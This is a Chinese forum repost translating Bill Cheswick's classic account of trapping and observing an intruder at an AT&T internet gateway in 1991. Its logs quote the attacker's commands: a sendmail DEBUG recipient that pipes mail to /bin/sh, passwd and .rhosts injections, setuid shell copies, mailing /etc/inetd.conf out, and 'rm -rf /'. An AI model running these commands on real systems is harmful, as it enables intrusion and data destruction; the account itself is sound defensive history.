找回密码
 注册

QQ登录

只需一步,快速开始

引诱、欺骗并研究一个黑客——陪伴berferd的一个夜晚

[复制链接]
发表于 2011-1-12 21:02:07 | 显示全部楼层 |阅读模式
在1991年1月7号,一个黑客,他确信自己发现了我们的Internet网关计算机的sendmail的一个DUBUG漏洞的黑客,试图获得我们的password文件,我“送”给他了一份。  U+ V, V. l4 A& Y
在几个月中,我们引诱这名黑客作各种快乐的尝试,以便于我们发现他的位置和使用的破解技术。这篇文章是对该黑客的“成功”和失败,我们使用的诱饵和陷阱的详细记录0 h* a7 ~4 e  L  o
我们的结论是我们所遇到的这个黑客拥有大量的时间,固执异常,并持有一份优秀的系统漏洞列表。一旦他获得了系统的一个正式注册身份,使用那些漏洞他可以轻易的攻破uucp和bin帐号,然后是root。我们的黑客对军事目标和可以帮助他中转其连接的新机器很感兴趣。
8 e9 d' H  J! W5 m& [( m简介
# n, O: @6 ]; N0 n4 b6 q我们的安全Internet网关是1990年1月开始使用的。对于这个整个城堡的大门,我想知道它所可能遭到的攻击会有多么频繁。我明白Internet上有一些喜欢使用“暴力”的人,那么他们是谁?他们会攻击什么地方?会多么频繁?他们经常尝试系统的那些漏洞?
3 O3 t  {' \/ u: _! Q% p& n: Q( l事实上,他们没有对AT&T作出破坏,甚至很少光顾我们的这扇大门,那么,最终的乐趣只有如此,引诱一个黑客到一个我们设计好的环境中,记录下来他的所有动作,研究其行为,并提醒他的下一个目标作出防范。) _- S/ n! C& Q! k
大多数Internet上的工作站很少提供工具来作这些事情,商业系统检测并报告一些问题,但是它们忽略了很多我们想要的东西。我们的网关每天产生10兆的日志文件。但人们对于日志记录以外的服务的攻击呢?: s2 C7 Z8 E* }. \; p' i$ ?
我们添加了一些虚假的服务在系统上,同时我编写了一个script文件用来检索每天的日志。我们检查以下几点:
- \/ ~6 O' \# T9 n/ \; L0 B* LFTP :检索的工具会报告每天所有注册和试图注册的用户名。它还会报告用户对tilde的使用(这是个老版本的ftp的漏洞)、所有对ftp目录的/etc/passwd和/etc/group的存取以及对pub目录下完整文件列表的获取。获取passwd的人通常用它来获得系统的正式用户的注册名称,然后攻击、破解其密码。有时有些系统的管理员会将系统的真实passwd文件放在ftp的/etc目录下,我们伪造了一个passwd文件,它的密码被破解后是“why are you wasting your time.”" ~; [! B# a! K# w
Telnet / login :所有试图login的动作都被记录了下来。这很容易就可以看出有些人在尝试很多帐号,或强力攻击某一个帐号。因为我们这个Internet的大门除了“警卫”外没有什么别的用户,很容易就可以找到问题所在。8 x. J2 Y3 Y8 m
Guest / visitor 帐号:黑客们第一个寻找的就是公用帐号。这些帐号提供了友好的,最轻易的获取几乎系统的所有文件的机会,包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。我们对于这些帐号的login script文件是这样编写的:: m7 q5 ]$ L! N" l# z
exec 2>/dev/null # ensure that stderr doesn't appear
! T% D" n4 D/ H9 _trap "" 1$ B3 |5 j$ }: D2 o4 _- Y% Z
/bin/echo
- D( B- R6 x; V( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |& K3 W; K& P# d* W4 q# ^
upasname=adm /bin/mail ches dangelo &
: [) v! l/ q: }- ]  {* ]0 Q# (notify calling machine's administrator for some machines...)
' ^9 \! v# I' d' `8 H# (finger the calling machine...)
5 g/ L8 D0 x7 u3 E) 2>&1 | mail ches dangelo. {# d9 P9 I7 D% Q* \0 l
/bin/echo "/tmp full"
# |, t; G" Y/ y8 |3 [3 K. Ysleep 5 # I love to make them wait....
7 H' q" B4 U8 N5 U/bin/echo "/tmp full"
" J  P" N2 Z, k  M/bin/echo "/tmp full"& n3 `! P! b3 k1 E
/bin/echo  ^& e5 L, S. K; n1 S( @
sleep 60 # ... and simulating a busy machine is useful: R. ?/ m( G! {. Y" _) t. R
我们必须小心以便不让调用者看到系统的标志出错信息(如果一旦我们编写的script有误)。注意$CALLER是在另一端的主机或IP地址。通过修改telnetd或login,它将可以通过环境变量来获取。& ~7 J5 ~+ {: i* v* U
SMTP DEBUG : 这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞,但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时,我就获得了他尝试的script代码。
: F, \1 E3 h- R9 fFinger :Finger提供了大量有用的信息给黑客:帐号名,该帐号的最后一次使用时间,以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人,我们置入了一个程序,在finger了fingerd的调用者后拒绝figner请求。(当然我们会避免对来自自己的finger信息的死循环)。报告表明每天有数以十计的finger请求,其中大部分是合法的。
% |$ h$ X- P9 c; o6 DRlogin / rsh :这些命令都是基于一些无条件信任的系统,我们的机器并不支持。但我们会finger使用这些命令的用户,并将他的尝试和用户信息等生成报告。
$ h0 Y6 _8 c. p( ^( Z3 R& v上述很多探测器都使用figner命令来查明调用的机器和使用者。
% ^3 `6 O& l% M* L. V$ C当一个尝试显示为有不合法企图时,我就发出这样一条消息:
3 y/ i5 x8 w0 p; \4 Dinetfans postmaster@sdsu.edu
  t5 z& ?: h; KYesterday someone from math.sdsu.edu fetched the /etc/passwd file# P7 I6 C! y" ]/ u6 _
from our FTP directory. The file is not important, but these probes
. r! u) ?, d; L% ~- h6 \1 Yare sometimes performed from stolen accounts.) t8 z0 e7 ^5 J& M) H: ?
Just thought you'd like to know.8 m  p' T% p6 _# M9 t' [
Bill Cheswick1 j8 W' x) c# C7 p9 v
这是一个典型的信件,它被发往“inetfans”,这些人属于计算机紧急响应小组(Computer Emergency Response Team , CERT)、某些兴趣小组或对某些站点感兴趣的人。/ d8 H; B. j$ U' ?
很多系统管理员很重视这些报告,尤其是军事站点。通常,系统管理员在解决这些问题上都非常合作。对这些信件的反应包括道歉,拒绝信件,关闭帐号以及沉默等等。当一个站点开来愿意支持黑客们的活动时,我们会考虑拒收来自该站的所有信息包。
4 B9 a3 @$ t9 H不友好的行动# @4 f  _* w% V  z5 {( c9 P
我们从1990年1月设置好这些探测器。统计表明被攻击率在每年学校的假期期间会上升。我们的被攻击率可能比其他站点高,因为我们是广为人知的,并被认为是“电话公司”。+ I' A% U. F% Y! n2 F% f4 g0 Y/ l
当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。有时他们只是想看看是否传输能正常工作。5 _6 e, ]" q4 Q! d
19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP
4 H* E( q( w* j, _% f6 D19:43:14 smtpd[27466]: -------> debug
4 E) p; I2 U/ V19:43:14 smtpd[27466]: DEBUG attempt) r0 P, X: b% D9 ?0 |
19:43:14 smtpd[27466]: <--- 200 OK
0 G# x) f) Q+ L5 f- `19:43:25 smtpd[27466]: -------> mail from:% i+ h1 W% Y8 k1 z5 V" N
19:43:25 smtpd[27466]: <--- 503 Expecting HELO& d9 o7 L, c. X, U1 s
19:43:34 smtpd[27466]: -------> helo; A3 c, w" {# }; T  n: q" `
19:43:34 smtpd[27466]: HELO from/ j- N$ V# Q) t2 d- k' u: c) z
19:43:34 smtpd[27466]: <--- 250 inet.att.com
1 b" v+ J6 G3 d' ]2 o" Y19:43:42 smtpd[27466]: -------> mail from:
7 W! G2 F! S! x3 d9 n19:43:42 smtpd[27466]: <--- 250 OK
! a+ X* G, B( u2 E8 \19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name9 G8 s5 V, C6 d
19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
; _& N& B- m6 Y  T! G3 z  \19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"2 ~1 \6 d# C. a6 N4 L  s7 R
19:44:45 smtpd[27466]: <--- 250 OK# M% x- M; G4 V5 k
19:44:48 smtpd[27466]: -------> data
2 R" M( F& t! [: p1 n19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .- @5 Q( V0 L, J1 ~4 J
19:45:04 smtpd[27466]: <--- 250 OK
/ P; j% S0 Y: E. H) \. ^19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
6 e( i9 m& G  l8 w19:45:08 smtpd[27466]: -------> quit& O2 ]* f2 M  O* r1 b  u6 L/ \5 n% w. u
19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
& ?/ b- x( \- P' Q7 N4 ?6 {19:45:08 smtpd[27466]: finished.# J  N. G2 m& ~" y/ e" \& ~& s" d
这是我们对SMTP过程的日志。这些看来很神秘的日志通常是有两个邮件发送器来相互对话的。在这个例子中,另一端是由人来键入命令。他尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。Sendmail在DEBUG模式下用它来以ROOT身份执行一段命令。即:
8 c% S6 U6 n3 w/ Ksed -e '1,/?$/'d | /bin/sh ; exit 0") p1 E2 a2 H6 c
它剥去了邮件头,并使用ROOT身份执行了消息体。这段消息邮寄给了我,这是我记录下来的,包含时间戳:
1 u5 F7 K  p7 D  }# b* W19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我们邮寄给他一份我们的passwd文件。大概用来运行一些passwd破解程序。所有这些探测结果都来自EMBEZZLE.STANFORD.EDU的一个adrian用户。他在美国空袭伊拉克半个小时后公然作出敌意反应。我怀疑是萨达姆雇佣了一两个黑客。我恰巧在ftp的目录下有一个假的passwd文件,就用root身份给Stanford发了过去。
" K" v+ @3 M  o2 H- v5 _第二个早晨,我听到了来自Stanford的消息:他们知道了这件事,并正在发现问题所在。他们说adrian这个帐号被盗用了。
' Y# u8 R/ G9 q/ |: D接着的一个星期天我接到了从法国发来的一封信:7 _6 l7 h, p6 ]/ l7 V
To: root@research.att.com
( s. x4 ?+ c! JSubject: intruder0 G: [$ s. z3 i
Date: Sun, 20 Jan 91 15:02:53 +0100& j! {0 j( ~8 D5 k( j
I have just closed an account on my machine6 h! i% a6 R' @6 S0 m7 `
which has been broken by an intruder coming from embezzle.stanford.edu. He
: {& K  O4 B  E! o& a1 y% z(she) has left a file called passwd. The contents are:
, N2 b" n: y. G$ O5 g& ^------------>
# J4 `$ O) ?9 t1 B: }; c8 ]From root@research.att.com Tue Jan 15 18:49:13 1991
4 h9 ]* |/ K+ w( T' k) |! Q1 `9 u: AReceived: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);+ J' [( L. p: Q/ S' }& l
Tue, 15 Jan 91 18:49:12 -0800
. O2 M: g. E7 CMessage-Id: <9101160249.AA26092@embezzle.Stanford.EDU>1 H; W  v/ ^. T. |+ k: P
From: root@research.att.com
9 J, U* T/ v* q. F# i8 I1 q5 zDate: Tue, 15 Jan 91 21:48 EST* N' `/ ]1 P7 ?3 w" c8 m
To: adrian@embezzle.stanford.edu
/ T, A2 A0 M& z9 p0 C& D: ERoot: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:6 a' V: X/ I+ t) A
Daemon: *:1:1:0000-Admin(0000):/:; [7 B' W3 L, {
Bin: *:2:2:0000-Admin(0000):/bin:
# V% f& \' o; _1 A3 ~Sys: *:3:3:0000-Admin(0000):/usr/v9/src:
6 E3 ?& A, N' |3 ?- xAdm: *:4:4:0000-Admin(0000):/usr/adm:
  N3 J2 j9 n  }' a3 Y; iUucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
+ \- T7 k; U8 v* s$ t' Z; rNuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico
" g" T9 C& Y) Q+ F9 eFtp: anonymous:71:14:file transfer:/:no soap& \' @6 K5 h* W! n" e/ t$ s
Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh7 `+ ]8 s& \5 j" J, o( o# J$ W
Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
; |+ l+ i, X' a0 jRtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh
2 n0 }% F  }" g9 M# {Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
, `! B- U) |6 N2 O# RTd: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh
6 D. l9 `4 p) oStatus: R
/ I+ i( n6 c. b/ K% ~( _; S------------Please let me know if you heard of him.
; n! j8 Z3 D& F陪伴Berferd的一个夜晚- }0 u  l% I3 t3 q3 [
1月20号,星期天晚上,我的终端报告有安全敏感事件。0 A& R& P; q8 Q, @
22:33 finger attempt on berferd
& f# s8 x/ T! K3 B+ O几分钟后,有人试图使用DEBUG来用ROOT身份执行命令,他试图修改我们的passwd文件!
' ^( I  t; I3 R& c& D$ L6 m+ t  y22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd
, ]  R) F$ T* icp /bin/sh /tmp/shell3 n: T( }4 D( z6 [) K( `
chmod 4755 /tmp/shell
9 }" ]$ p3 q7 X8 `! k+ n连接同样来自EMBEZZLE.STANFORD.EDU。
$ O5 A' h% i; `我该怎么作呢?我不希望他真的能获得一个网关的帐号,为什么引狼入室呢?那样我将得不到他的键盘活动。4 L" k- ?, }# |# A; r2 J4 B
我应该继续看看他关注的其他事情,或许我可以手工模拟一下操作系统,这意味着我必须让他以为机器速度很慢,因为我无法和MIPS M/120相比。同时意味着我必须模拟一个一致的操作系统。
+ z4 k: ]% Z2 R% P4 ]我已经有一个要求了,因为他已经持有了一份passwd。
4 c! H9 F4 J* l决定一:ftp的passwd是一个真实的passwd。: f, e% x. I. ?. Y2 y5 b
还有另外的两个:5 n# q4 _  C+ W; p0 `* ~
决定二:网关机器管理极差。(有DEBUG漏洞,ftp目录里有passwd)。" J1 @1 L* p4 f# y0 H
决定三:网关机器极慢。
5 B; ^7 z0 v$ V( S因此我决定让他以为他已经改变了passwd文件,但却不急于让他进来。我必须生成一个帐号,但却使它不可操作。我应该怎么办?
: I6 q9 q5 m  T+ F$ k决定四:我的shell并没有放在/bin下,它放在其他地方。这样,他进来后(让他认为passwd已经改动了),没有可运行的shell。- |% k4 p% W+ g2 e8 a! s
这个决定很愚蠢,但我不会因此损失任何东西。我写了一个script,生成了一个临时帐号b,当它被调用时它会给我发信,调用者将看到如下信息:
* r' n! ~8 E! R1 cRISC/os (inet)- r2 }- b9 w( x% N/ t
login: b
* \" V+ X7 _9 j0 s: u  y& u. }RISC/os (UMIPS) 4.0 inet9 ?. Z" |7 ?& ]7 r
Copyright 1986, MIPS Computer Systems
( C. L+ s2 b& Y1 m# }4 LAll Rights Reserved% j' L3 d- j0 ]
Shell not found! n& k9 x  \. \4 F' v
我把b帐号在实际passwd文件中改成了beferd,当我作完后,他在此尝试:
* a( C/ V9 v% n22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd- J6 F9 t4 z4 ?
他的另一个试图添加到passwd文件的尝试。事实上,在我为bferd完成新的配置之前他开始急躁了:) @# B. E5 n9 g
22:45 talk adrian@embezzle.stand?Hford.edu
/ _5 t2 y! a  y  @: x' I, N7 ]& D' stalk adrian@embezzle.stanford.edu1 @5 C3 J* k/ p4 L( a4 x
决定五:我们没有talk这个命令。. b( w$ Y2 x0 A# F" Y. R7 |
他选择了berferd这个帐号:
  Q/ W: t, w" I$ }* q5 ^( \22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
, p& p  p) j9 _; J) y; R# _$ [22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
( Q0 Z) G; G0 n2 B* s22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
! R% T1 n( J" u2 R% ^22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)
7 G% w  k+ R* ?22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
7 L" [/ ^8 C0 z1 x- P22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
4 |# v, ?9 F6 ~; I! w5 P22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd) f' ]# x* P% O: Y3 A
22:57 (Added bfrd to the real password file.)
( M& o7 Z& Y( t9 D" w2 h22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
/ t5 D0 d! z6 E4 X+ P/ \9 j) m7 f22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
. V* O, M2 D4 ^& R9 v$ M2 Z23:05 echo "36.92.0.205" >/dev/null
. Z3 K9 `0 H. S. T! ~echo "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H
" [& C5 r0 y$ f& V23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
9 q/ }4 _$ z5 l7 Y3 B6 ^23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts) V9 L& R, x  w4 d; P
23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
+ h) |2 z+ F( f很显然他希望能够rlogin到我们的网关,这需要一些本地文件的特定设置。我们并没有作rlogin的检测。3 N# |% D+ D- v* v5 a; W2 D" I
这时他又有新的动作:. ^. a1 U# d' }$ K5 k
23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU4 B0 o0 U+ s9 e& g7 q4 x# T. V# L& N1 E
23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
4 _& e  b% H  w/ e5 |' Y23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf1 }. F3 {! S2 A* C: h# H" ~( x* e
ps -aux|mail adrian@embezzle.stanford.edu' \# r* ~% h$ d: w1 a
在rlogin失败后,他希望能得到我们的inetd.conf文件来查看我们究竟启动了什么服务。我不想让他看到真正的inetd.conf,但伪造一个又非常困难。! m, D# W1 K( d/ R' P
决定七:网关机器运行不稳定,时有不确定事件。
  M3 ]) E1 J8 T5 s+ M  j; N) N23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts! E0 l, @+ x& W' c% o# V; X. J
echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts. u; t; y+ }& T$ F! s; U5 N- c
ps -aux|mail adrian@embezzle.stanford.edu" z+ H0 p, _5 i8 b$ a
mail adrian@embezzle.stanford.edu < /etc/inetd.conf8 B, `$ I- ^  ]6 J
我不希望他看到ps的结果,幸运的是,他的Berkeley系统的ps命令在我的System V机器上是无效的。- A  ?, ~8 T/ o1 D6 t0 d
这时我通知了CERT,这时一起严重的攻击事件,在Stanford也应该有追踪这些请求的人。这时,活动又转到ftp上来:- Q6 E! E* S$ X& `3 K3 m2 `0 u) A$ S
Jan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server
. h" X0 y2 _0 ?4 Z8 {(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
: V( X$ s! V; M% G5 [- d% T; z% H5 wJan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M
6 |9 p# b5 J" s5 t, F& L* rJan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.; M/ U3 a( q7 Z( V- _
Jan 20 23:37:06 inet ftpd[14437]: -------> pass?M
5 x. c$ H2 N2 C! j2 C4 ~Jan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood./ z, N& }3 z( g: B/ b9 G) W' O
Jan 20 23:37:13 inet ftpd[14437]: -------> pass?M
) a) v1 r5 W% Z! ~7 _0 [Jan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
* J1 L4 r) p* [% q4 VJan 20 23:37:24 inet ftpd[14437]: -------> HELP?M
( p' l1 B7 Y0 A. f5 {) WJan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are4 d; H# W" [5 L0 q
recognized (* =>'s unimplemented).
8 _3 A0 |. }9 q5 tJan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
. B7 \$ a. S7 ^3 GJan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
1 ^& s1 |' K* i6 NJan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.; o( O& x1 r2 P8 O& U
Jan 20 23:37:31 inet ftpd[14437]: Logout, status 0) Y* }* R% H( R9 o- B# O6 T% G7 P+ q
Jan 20 23:37:31 inet inetd[116]: exit 14437
/ T( `1 B/ j6 y, j# O* ^Jan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454
& ?7 \7 {2 ?& x& F+ W0 C) T: R0 tJan 20 23:37:41 inet inetd[116]: exit 14454% s" L: V/ ]0 Z* _" g2 H# m2 S
23:38 finger attempt on berferd
8 a) `7 J  v$ U23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv, q7 y  ?3 |5 u- ~% ~" L5 {6 ^
23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b8 V1 n# o$ Y* T5 g* I0 h
cp /bin/sh /usr/etc/fingerd) M" j0 U9 `, B5 C( X
决定四已经决定了最后一行的尝试必然失败。因此,他只是破坏了我们模拟的机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际的fingerd程序。
* k, p' f, W0 U5 U7 G23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
- x% s7 N! l; Z0 y6 l/ I23:58 cp /bin/csh /usr/etc/fingerd
7 k- _) p2 ?6 D9 Y6 X9 y我们模拟的机器上csh并不在/bin下,因此这个命令无效。$ Z5 _% Z4 D, ~) y0 J
00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd5 E0 ~- F& h4 y. p
好吧,fingerd现在重新开始工作。Berferd的恢复工作干的不错。5 }* ~+ f6 c2 L- I5 \
00:14 passwd bfrt
0 w5 \7 b$ S/ N" k( q" w& \bfrt1 r* @$ q5 J: P
bfrt
- C- s) b+ K+ \# G7 X) G% N3 W现在他试图修改password,这永远不会成功,因为passwd的输入是/dev/tty,不是sendmail所执行的shell script。4 B5 c6 i$ ~% q2 _1 l. K
00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU: w# s; L2 j4 d+ A% h/ k
00:17 echo "/bin/sh" > /tmp/Shell
- a' J6 ~4 ?7 K) N+ u% qchmod 755 /tmp/shell# N7 L' s5 _" Q9 L7 m
chmod 755 /tmp/Shell' m5 T8 m+ M1 s3 }
00:19 chmod 4755 /tmp/shell( _2 a* V9 b6 w8 U
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU; P8 X# }8 V/ L# y2 W7 N. ~
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
6 g4 A; b  X- ~1 S5 e00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU- K  c4 j& l0 ~" K7 t9 e
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU/ {; K$ T1 A; \
这时我已经很累了。1 E& Y6 b) d  _
01:55 rm -rf /&
8 R* L: Z3 }( w) h  e4 Q喔!!太狠了!显然机器的状态让他迷惑,他希望能清除所有的痕迹。有些黑客会保护自己所作的工作,声明自己不作任何破坏。我们的黑客对我们感到疲劳了,因此以此结束。
% p7 C, ^& ?1 |; w$ V, {) e) o他继续工作了几分钟,后来放弃:
5 Q: M% `$ z, D6 f4 I07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
- i5 l5 }4 Z! h" }07:14 rm -rf /&) B2 Y' }( V! h0 p8 v0 ^/ }! U& }4 P
07:17 finger attempt on berferd1 k% o# e6 T0 J
07:19 /bin/rm -rf /&
, T( {- k; ~& s, q# }0 E/bin/rm -rf /&
: U- V' c$ O5 Z# E0 N/ P. `07:23 /bin/rm -rf /&( U" Y6 N3 |; M6 a
07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
) f" a6 Q# b+ x- \( U09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
0 a5 }( @& s8 k, I2 {* F4 e: M
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|本地广告联系: QQ:905790666 TEL:13176190456|Archiver|手机版|小黑屋|汶上信息港 ( 鲁ICP备19052200号-1 )

GMT+8, 2026-4-30 20:14

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表